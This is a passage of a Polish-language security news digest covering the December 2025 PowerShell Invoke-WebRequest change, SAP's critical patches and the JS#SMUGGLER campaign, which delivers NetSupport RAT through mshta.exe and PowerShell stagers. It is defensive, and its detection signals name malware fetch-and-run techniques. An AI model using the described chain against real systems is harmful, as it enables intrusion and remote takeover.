Praktyczne konsekwencje / ryzyko

  • Automatyzacja/CI: pipeline’y i zadania, które używają IWR bez -UseBasicParsing, mogą teraz się zatrzymać na potwierdzeniu, co spowoduje błędy w trybie bezobsługowym. Należy zaktualizować skrypty.
  • Eksploatacja w dziczy: luki w PowerShell bywały wykorzystywane przez malware do pobierania payloadów (np. kampanie opisane w raportach o Patch Tuesday). Nowy prompt utrudnia „ciche” wykonanie osadzonych skryptów z WWW.
  • Zgodność: skrypty polegające na starym, „bogatym” parsowaniu HTML mogą wymagać modyfikacji, jeśli przejdą na -UseBasicParsing.

Rekomendacje operacyjne / co zrobić teraz

  1. Zainstaluj grudniowe poprawki (09.12.2025) na wszystkich wspieranych wersjach Windows. Zmiana IWR jest częścią wielu pakietów zbiorczych (KB z 9 grudnia 2025 r.).
  2. Przejrzyj skrypty: wszędzie tam, gdzie wywołujesz Invoke-WebRequest w PowerShell 5.1, dodaj -UseBasicParsing dla zadań automatycznych / bezinteraktywnych.
  3. Waliduj i sanityzuj URL-e/odpowiedzi: ograniczaj pobieranie tylko z zaufanych domen, stosuj walidację treści (np. sprawdzanie hashów plików). (Dobra praktyka ogólna; spójna z charakterem luki.)
  4. Monitoruj telemetry: w SIEM/EDR filtruj procesy z powershell.exe i wzorce zawierające Invoke-WebRequest. Raporty popatchowe podkreślają potrzebę obserwacji tego cmdletu w detekcjach.
  5. Rozważ PowerShell 7+ w nowych projektach: nowsze wersje mają unowocześnioną implementację IWR i inny model parsowania; mimo to zawsze stosuj zasady najmniejszych uprawnień i podpisywanie skryptów.

Minimalny przykład (PowerShell 5.1)

  • Pobranie pliku bez promptu i bez parsowania HTML:
    Invoke-WebRequest -Uri "https://example.com/tool.exe" -OutFile "tool.exe" -UseBasicParsing

Różnice / porównania z innymi przypadkami

  • Przed aktualizacją: IWR mógł parsować odpowiedź HTML w sposób, który w określonych warunkach prowadził do niezamierzonego wykonania skryptu; brakował „hamulec bezpieczeństwa” po stronie użytkownika.
  • Po aktualizacji (PS 5.1): pojawia się prompt ostrzegawczy; -UseBasicParsing wyłącza parsowanie i eliminuje ryzyko wykonania skryptu oraz interakcji użytkownika.
  • PowerShell 7.x: inny stos sieciowy i dokumentowana funkcja IWR; zalecane praktyki bezpieczeństwa pozostają aktualne (brak promptu w 7.x, ale bezpieczne wzorce korzystania).

Podsumowanie / kluczowe wnioski

  • Grudniowy Patch Tuesday 2025 przyniósł istotną zmianę w Windows PowerShell 5.1 – ostrzeżenie i potwierdzenie przy użyciu Invoke-WebRequest. To reakcja na CVE-2025-54100 (command injection).
  • Administratorzy muszą zaktualizować systemy i dostosować skrypty, w szczególności dodając -UseBasicParsing tam, gdzie wymagany jest tryb bezobsługowy.
  • Równolegle należy wzmacniać monitoring pod kątem wywołań IWR i stosować zasadę „zaufaj, ale weryfikuj” dla pobieranych treści.

Źródła / bibliografia

  1. BleepingComputer — „Windows PowerShell now warns when running Invoke-WebRequest scripts” (09.12.2025). (BleepingComputer)
  2. Microsoft Support — „PowerShell 5.1: Preventing script execution from web content” (KB — instrukcje oraz obejście -UseBasicParsing). (Microsoft Support)
  3. MSRC — karta podatności CVE-2025-54100. (msrc.microsoft.com)
  4. NVD — opis i metryka CVE-2025-54100 (CVSS 7.8, CWE-77). (NVD)
  5. BleepingComputer — „Microsoft December 2025 Patch Tuesday fixes 3 zero-days, 57 flaws” (kontekst aktualizacji). (BleepingComputer)

SAP łata trzy krytyczne luki w wielu produktach (grudzień 2025)

Wprowadzenie do problemu / definicja luki

9 grudnia 2025 r. SAP opublikował biuletyn Security Patch Day z 14 nowymi notami bezpieczeństwa, w tym trzema lukami o randze „Critical”. Poprawki obejmują m.in. SAP Solution Manager, SAP Commerce Cloud (komponenty Tomcat) oraz SAP jConnect (SDK for ASE). SAP zaleca natychmiastowe wdrożenie aktualizacji we wszystkich środowiskach.

W skrócie

  • CVE-2025-42880 (CVSS 9.9) — code injection w SAP Solution Manager ST 720; błąd walidacji wejścia może prowadzić do pełnego przejęcia systemu po stronie serwera przez uwierzytelnionego atakującego.
  • CVE-2025-55754 (CVSS 9.6) — podatności w Apache Tomcat wykorzystywanym przez SAP Commerce Cloud (powiązana także CVE-2025-55752); problem z nieprawidłowym „ucieczkowaniem” sekwencji ANSI w logach konsolowych. Zalecana aktualizacja Tomcat do 9.0.109 / 10.1.45 / 11.0.11.
  • CVE-2025-42928 (CVSS 9.1) — deserialization w SAP jConnect (SDK for ASE 16.0.4, 16.1); w określonych warunkach użytkownik z wysokimi uprawnieniami może osiągnąć RCE przygotowanym wejściem.

Kontekst / historia / powiązania

Zestaw poprawek wpisuje się w trend intensywnego łatana krytycznych błędów w ekosystemie SAP. W 2025 r. obserwowano już ataki in-the-wild na inną lukę typu wstrzyknięcie kodu w SAP (CVE-2025-42957), co zwiększa ryzyko szybkiego instrumentowania świeżo ujawnianych usterek.
Niezależne analizy (Onapsis) wskazują, że część z grudniowych „HotNews” dotyczy komponentów o dużym zasięgu i złożonych zależnościach (np. Tomcat w SAP Commerce Cloud), co komplikuje priorytetyzację i wymusza spójne zarządzanie wersjami.

Analiza techniczna / szczegóły luki

CVE-2025-42880 — SAP Solution Manager (ST 720), CVSS 9.9

Brak właściwej sanitacji danych wejściowych przy wywołaniu remote-enabled function module umożliwia uwierzytelnionemu atakującemu wstrzyknięcie kodu i przejęcie kontroli nad systemem (CIA: H/H/H; wektor AV:N/AC:L/PR:L/UI:N/S:C).

CVE-2025-55754 (+ CVE-2025-55752) — Apache Tomcat w SAP Commerce Cloud, CVSS 9.6

Tomcat niepoprawnie przetwarza sekwencje ANSI w logach; na konsolach Windows wspierających kolorowanie możliwa jest manipulacja konsolą/Schowkiem i nakłonienie administratora do uruchomienia poleceń. SAP agreguje podatności w notę #3683579 dla wersji HY_COM 2205, COM_CLOUD 2211, COM_CLOUD 2211-JDK21. Naprawa: podniesienie Tomcat do wersji 9.0.109 / 10.1.45 / 11.0.11.

CVE-2025-42928 — SAP jConnect (SDK for ASE 16.0.4/16.1), CVSS 9.1

Błąd deserializacji niezaufanych danych (CWE-502) pozwala, „w określonych warunkach”, użytkownikowi o wysokich uprawnieniach wywołać RCE poprzez specjalnie przygotowane dane wejściowe (wektor AV:N/AC:L/PR:H/UI:N/S:C).

Praktyczne konsekwencje / ryzyko

  • Przejęcie instancji SolMana i eskalacja w całym krajobrazie SAP (monitoring, konfiguracja, integracje), co może skutkować trwałym naruszeniem integralności procesów biznesowych.
  • Ryzyka łańcuchowe w e-commerce — podatny Tomcat w SAP Commerce Cloud zwiększa powierzchnię ataku na krytyczne procesy (konta klientów, zamówienia, ceny, integracje ERP/CRM).
  • RCE w warstwie łącznikowej (jConnect) może ułatwić atakującym pivot do systemów bazodanowych i exfiltrację danych o wysokiej wartości.

Rekomendacje operacyjne / co zrobić teraz

  1. Priorytetyzacja wg wpływu i ekspozycji:
      1. CVE-2025-42880 (SolMan ST 720) — natychmiastowe wdrożenie noty #3685270.
      1. CVE-2025-55754/55752 — aktualizacja Tomcat do 9.0.109 / 10.1.45 / 11.0.11 w komponentach SAP Commerce Cloud (nota #3683579). Zweryfikuj wszystkie instancje (również EOL).
      1. CVE-2025-42928 — zastosuj notę #3685286; przejrzyj łańcuchy połączeń i uprawnienia kont używanych przez jConnect.
  2. Tymczasowe osłony (jeśli patch window jest ograniczone):
    • Ogranicz dostęp do funkcji zdalnych w SolMan (RFC), segmentacja sieci, dodatkowa MFA dla kont technicznych.
    • W Commerce Cloud: wyłącz uruchamianie w konsoli, przekieruj logi Tomcat do plików/siem, wymuś aktualne runtimes.
    • Dla jConnect: allow-list źródeł połączeń, walidacja danych, monitorowanie nietypowych ładunków serializacyjnych.
  3. Detekcja i monitoring:
    • Szukaj w SIEM m.in. nieoczekiwanych wywołań RFC/RFM w SolMan, nietypowych wzorców w logach Tomcat (sekwencje ESC[), anomalii w ruchu JDBC/jConnect. (Mapowanie do CVE wg biuletynu SAP i NVD).
  4. Higiena wersji:
    • Porównaj wersje Tomcat z tabelami „Security” producenta; utrzymuj min. 9.0.109/10.1.45/11.0.11.
  5. Procesy DevSecOps:
    • Dodaj testy regresyjne pod kątem deserializacji/escape sequences w CI, włącz skanowanie zależności i SCA.

Różnice / porównania z innymi przypadkami

  • Atakowalność: SolMan (PR:L) jest groźny, bo uderza w centralny system ALM z wysokimi uprawnieniami i szerokimi integracjami. jConnect wymaga PR:H, ale skutki RCE są systemowe. Tomcatowe CVE w Commerce Cloud ma profil bardziej „admin-tricking” (manipulacja konsolą), jednak w środowiskach operacyjnych może prowadzić do wykonania poleceń przez operatora.
  • Porównanie z tegorocznymi kampaniami: w 2025 r. widzieliśmy już aktywną eksploatację innej krytycznej luki SAP (CVE-2025-42957) — to sygnał, że „time-to-exploit” dla ekosystemu SAP skraca się po publikacji poprawek.

Podsumowanie / kluczowe wnioski

  • Grudniowy Patch Day SAP przynosi 3 krytyczne luki o szerokim wpływie na krajobraz SAP (ALM, e-commerce, warstwa łącznikowa DB). Patchuj niezwłocznie.
  • Dla SAP Commerce Cloud aktualizacje Tomcat do 9.0.109/10.1.45/11.0.11 są kluczowe, a zarządzanie wersjami powinno objąć wszystkie środowiska.
  • Utrzymuj detekcję anomalii i kontrolę uprawnień — wcześniejsze incydenty pokazują, że luki SAP szybko trafiają na radar aktorów zagrożeń.

Źródła / bibliografia

  • SAP Security Patch Day — December 2025 (lista not, wersje, CVSS). (SAP Support Portal)
  • BleepingComputer: „SAP fixes three critical vulnerabilities across multiple products”. (omówienie i kontekst). (BleepingComputer)
  • NVD: CVE-2025-42880 (Solution Manager), CVE-2025-42928 (jConnect), CVE-2025-55754 (Tomcat). (NVD)
  • Apache Tomcat Security — wersje naprawcze 9.0.109 / 10.1.45 / 11.0.11. (tomcat.apache.org)
  • Onapsis — Patch Day (grudzień 2025) — analiza i priorytetyzacja „HotNews”. (Onapsis)

JS#SMUGGLER: jak atak przez zaufane witryny instaluje NetSupport RAT (pełna analiza i zalecenia)

Wprowadzenie do problemu / definicja luki

Badacze potwierdzili nową kampanię JS#SMUGGLER, która wykorzystuje skompromitowane strony WWW jako wektor dystrybucji malware. Atak przebiega wieloetapowo: obfuskowany JavaScript wstrzyknięty w witrynę uruchamia zdalny HTA (HTML Application) przez mshta.exe, a następnie odszyfrowany PowerShell pobiera i uruchamia NetSupport RAT – narzędzie zdalnej administracji nadużywane do pełnej kontroli stacji roboczych ofiary.

W skrócie

  • Wejście: ukryte iframy i przekierowania z zaufanych (lecz skompromitowanych) serwisów do obfuskowanego loadera phone.js.
  • Egzekucja: loader dynamicznie dobiera ścieżkę (mobile vs desktop), buduje URL-e kolejnych etapów i uruchamia HTA przez mshta.exe.
  • Payload: zaszyfrowane (AES + Base64/GZIP) stager’y PowerShell usuwają swoje artefakty i pobierają NetSupport RAT z utrzymaniem trwałości.
  • Cel: trwała zdalna kontrola, kradzież danych, operacje plikowe i wykonywanie poleceń.
  • Technika: nadużycie mshta.exe (MITRE ATT&CK T1218.005 – Mshta) jako signed binary proxy execution.

Kontekst / historia / powiązania

Nadużywanie legalnych narzędzi RMM i binariów systemowych (Living-off-the-Land) jest trendem utrzymującym się w 2024–2025 – NetSupport był wielokrotnie dostarczany w kampaniach e-mail i „fake update”/ClickFix. Organizacje raportowały przesunięcie akcentu: od fałszywych aktualizacji do socjotechniki ClickFix i dostarczania RMM jako „pierwszego etapu”.

Analiza techniczna / szczegóły luki

Etap 1 – Loader JS (phone.js):

  • Wstrzyknięty w skompromitowaną witrynę, korzysta z ukrytych iframe’ów i cichych przekierowań.
  • Zawiera „śmietnikowe” komentarze i tablice rotowane runtime’em; dekoduje łańcuchy przez funkcje indeksujące, utrudniając statyczną analizę.
  • Używa localStorage do jednorazowego odpalenia logiki (redukcja szumu detekcyjnego).
  • Rozgałęzia ścieżkę w zależności od urządzenia (mobile: fullscreen iframe; desktop: dociągnięcie skryptu 2. fazy).

Etap 2 – HTA przez mshta.exe:

  • Loader konstruuje w locie URL HTA i uruchamia go wykorzystując mshta.exe – zaufany komponent Windows wykorzystywany do proksowania wykonania kodu (MITRE T1218.005).
  • HTA uruchamia zaszyfrowane stager’y PowerShell, minimalizuje okna i ukrywa artefakty, by ograniczyć ślad forensyczny.

Etap 3 – PowerShell → NetSupport RAT:

  • Stager’y AES-256-ECB + Base64/GZIP pobierają, rozpakowują i uruchamiają NetSupport RAT, konfigurując persistencję (m.in. skróty w Autostarcie).
  • NetSupport daje atakującym m.in. zdalny pulpit, transfer plików, egzekucję poleceń, proxy i kradzież danych.

Praktyczne konsekwencje / ryzyko

  • Omijanie zabezpieczeń: wykorzystanie zaufanych domen (kompromitowanych serwisów) i signed binariów (mshta.exe) utrudnia detekcję sygnaturową i reputacyjną.
  • Eskalacja wpływu: po instalacji NetSupport umożliwia trwałą obecność, eksfiltrację danych oraz „hands-on-keyboard”.
  • Szeroki zasięg: kampania celuje w użytkowników korporacyjnych przeglądających zwykłe strony, co zwiększa powierzchnię ataku poza e-mailem.

Rekomendacje operacyjne / co zrobić teraz

Twarde kontrole:

  1. Blokady LoLBin: ogranicz/zasady SRP/AppLocker dla mshta.exe, wscript.exe, cscript.exe – przynajmniej poza zaufanymi kontenerami. (MITRE T1218.005)
  2. CSP i nagłówki przeglądarkowe: wymuś Content-Security-Policy (blok skryptów z nieautoryzowanych domen, frame-ancestors), X-Frame-Options dla własnych serwisów.
  3. Egress i DNS: kontrola wyjścia do świeżo zarejestrowanych domen / nietypowych TLD; segmentacja i proxy z inspekcją TLS. (wnioskowane na bazie łańcucha C2)
  4. Ochrona endpointów: włącz PowerShell Constrained Language Mode, Script Block/Module Logging, AMSI i rejestrowanie zdarzeń 4104.
  5. Monitorowanie mshta/HTA: reguły EDR/SIEM na zdalne HTA uruchamiane przez mshta.exe (np. event + command line zawierający URL/HTA). Dostępne gotowe reguły detekcyjne wskazują na wartość takiego use-case’u.

Detekcje (przykładowe sygnały):

  • Process = mshta.exe AND CommandLine CONTAINS http/https OR *.hta. (MITRE T1218.005)
  • powershell.exe z ciągami FromBase64String, GZIP, AES, Expand-Archive, New-Object Net.WebClient.
  • Tworzenie skrótów w %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\.
  • Połączenia do domen/ścieżek podobnych do */call/phone.js i nietypowych hostów wskazanych w analizie.

Higiena i reagowanie:

  • Hardening przeglądarek i serwerów WWW, skan integracyjny pod kątem wstrzyknięć JS/iframe.
  • Playbook IR dla NetSupport/RMM nadużywanych – odcięcie hosta, usunięcie autostartu, inwentaryzacja kont i sesji, rotacja poświadczeń, przegląd ruchu proxy/VPN. (wspierane wcześniejszymi obserwacjami kampanii z NetSupport)
  • Uświadamianie użytkowników w zakresie fałszywych „napraw kliknięciem” (ClickFix) oraz ostrzeżeń o skryptach PowerShell.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

W odróżnieniu od mailowych kampanii z NetSupport (częste u graczy finansowo motywowanych), JS#SMUGGLER omija e-mail i wchodzi przez skompromitowane strony oraz łańcuch web-owy (JS→HTA→PowerShell). To zbliża go do ataków fake update/ClickFix, ale tutaj kluczową rolę gra mshta.exe jako signed binary oraz warunkowe branching po stronie JS (mobile vs desktop), co utrudnia replikację i detekcję.

Podsumowanie / kluczowe wnioski

  • JS#SMUGGLER to dojrzała, warstwowa operacja web-malware z naciskiem na stealth i selektywność ekzekucji.
  • Krytycznym elementem jest nadużycie mshta.exe (T1218.005) i zaszyfrowane stager’y PowerShell, które dostarczają NetSupport RAT.
  • Obrona musi łączyć polityki wykonywania, telemetrię PowerShell, kontrole przeglądarkowe (CSP) i monitoring LoLBin – same blokady domen nie wystarczą.

Źródła / bibliografia

  1. The Hacker News – „Experts Confirm JS#SMUGGLER Uses Compromised Sites to Deploy NetSupport RAT”, 8 grudnia 2025. (The Hacker News)
  2. Securonix Threat Research – „JS#SMUGGLER: Multi-Stage – Hidden iframes, Obfuscated JavaScript, Silent Redirectors & NetSupport RAT Delivery”, 3 grudnia 2025. (Securonix)
  3. MITRE ATT&CK – „T1218.005 Mshta (Signed Binary Proxy Execution)”. (attack.mitre.org)
  4. Proofpoint – „Remote Monitoring and Management (RMM) tooling increasingly attackers’ first choice”, 7 marca 2025. (kontekst NetSupport/RMM) (proofpoint.com)
  5. eSentire – „Unpacking NetSupport RAT Loaders Delivered via ClickFix”, 23 października 2025. (tło i taktyki z 2025) (eSentire)